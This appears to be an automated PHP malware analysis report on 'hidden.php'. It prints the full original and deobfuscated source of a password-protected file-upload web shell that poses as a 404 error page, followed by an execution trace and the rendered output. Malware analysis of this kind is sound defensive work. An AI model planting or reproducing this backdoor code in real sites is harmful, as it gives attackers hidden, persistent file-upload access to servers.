PHP Malware Analysis

hidden.php

md5: ba75349e906d11dfeec09ac3325542e9

Jump to: 

Screenshot
Attributes
Files

Input

Title
  • 404 Not Found (HTML)

URLs

Deobfuscated PHP code
 <?php 
$password = "Bl4ckw0rM";
if (isset($_GET['pass'])) {
    if ($_GET['pass'] == $password) {
        if (isset($_POST['uploaded'])) {
            $file = $_FILES['files']['name'];
            $files = $_FILES['files']['tmp_name'];
            $folder = "";
            if (move_uploaded_file($files, $folder . $file)) {
                $result = "Uploaded :<a href='{$file}' target='_blank'>=> Click Here For Open File</A>";
            } else {
                $result = "Fail -_- Try...";
            }
        }
        echo "\r\n<!DOCTYPE html>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\r\n<title>.:: ICSG Uploader ::.</title>\r\n</head>";
        echo '
<head>
<style>
body { background-color:#000000; color:#25ff00; font-family:Verdana; font-size:11px; }
h1,h3 { color:white; font-family:Verdana; font-size:11px; }
input,textarea,select,button { color: rgb(0, 190, 0); background-color:#444; border:1px solid #4F4F4F; font-family:Verdana; font-size:11px; }
textarea { font-family:Courier; }
a { color:rgb(0, 190, 0); text-decoration:none; font-family:Verdana; font-size:11px; }
a:hover { color:rgb(0, 250, 0); }
td { font-size:12px; vertical-align:middle; }
th { font-size:13px; vertical-align:middle; }
table { empty-cells:show; }
.inf { color:#7F7F7F; }
</style>
</head>
<body>
<center>
<h3> ICSG Uploader </h3>
<h4>Coded By M0RF!N <h4>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="files" />
<input type="submit" name="uploaded" value="Upload">
</form>
' . @$result . '
</body>
</html>';
    } else {
        echo "  <title>404 Not Found</title>\r\n</head><body>\r\n<h1>Not Found</h1>\r\n<p>The requested URL " . $_SERVER['REQUEST_URI'] . " was not found on this server.</p>\r\n<p>Additionally, a 404 Not Found\r\nerror was encountered while trying to use an ErrorDocument to handle the request.</p>\r\n</body>";
    }
} else {
    echo "  <title>404 Not Found</title>\r\n</head><body>\r\n<h1>Not Found Bl4ckw0rM</h1>\r\n<p>The requested URL " . $_SERVER['REQUEST_URI'] . " was not found on this server.</p>\r\n<p>Additionally, a 404 Not Found\r\nerror was encountered while trying to use an ErrorDocument to handle the request.</p>\r\n</body>";
}
?> 
Execution traces
data/traces/ba75349e906d11dfeec09ac3325542e9_trace-1676249747.7565.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:56:13.654293]
1	0	1	0.000141	393528
1	3	0	0.000227	399608	{main}	1		/var/www/html/uploads/hidden.php	0	0
1		A						/var/www/html/uploads/hidden.php	2	$password = 'Bl4ckw0rM'
1	3	1	0.000262	399608
			0.000288	314320
TRACE END   [2023-02-12 22:56:13.654467]


Generated HTML code
<html><head><title>404 Not Found</title>
</head><body>
<h1>Not Found Bl4ckw0rM</h1>
<p>The requested URL /hidden.php was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
 </body></html>
Original PHP code
 <?php
$password ="Bl4ckw0rM";
if(isset($_GET['pass'])) {
if($_GET['pass']==$password){
if(isset($_POST['uploaded']))
{
$file = $_FILES['files']['name'];
$files= $_FILES['files']['tmp_name'];
$folder="";
if(move_uploaded_file($files,$folder.$file))
{
$result = "Uploaded :<a href='$file' target='_blank'>=> Click Here For Open File</A>";
}
else
{
$result = "Fail -_- Try...";
}
}
echo'
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>.:: ICSG Uploader ::.</title>
</head>';
echo'
<head>
<style>
body { background-color:#000000; color:#25ff00; font-family:Verdana; font-size:11px; }
h1,h3 { color:white; font-family:Verdana; font-size:11px; }
input,textarea,select,button { color: rgb(0, 190, 0); background-color:#444; border:1px solid #4F4F4F; font-family:Verdana; font-size:11px; }
textarea { font-family:Courier; }
a { color:rgb(0, 190, 0); text-decoration:none; font-family:Verdana; font-size:11px; }
a:hover { color:rgb(0, 250, 0); }
td { font-size:12px; vertical-align:middle; }
th { font-size:13px; vertical-align:middle; }
table { empty-cells:show; }
.inf { color:#7F7F7F; }
</style>
</head>
<body>
<center>
<h3> ICSG Uploader </h3>
<h4>Coded By M0RF!N <h4>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="files" />
<input type="submit" name="uploaded" value="Upload">
</form>
'.@$result.'
</body>
</html>';
}
else {
	echo"  <title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body>";
}
}
else {
	echo"  <title>404 Not Found</title>
</head><body>
<h1>Not Found Bl4ckw0rM</h1>
<p>The requested URL ".$_SERVER['REQUEST_URI']." was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body>";
}
?>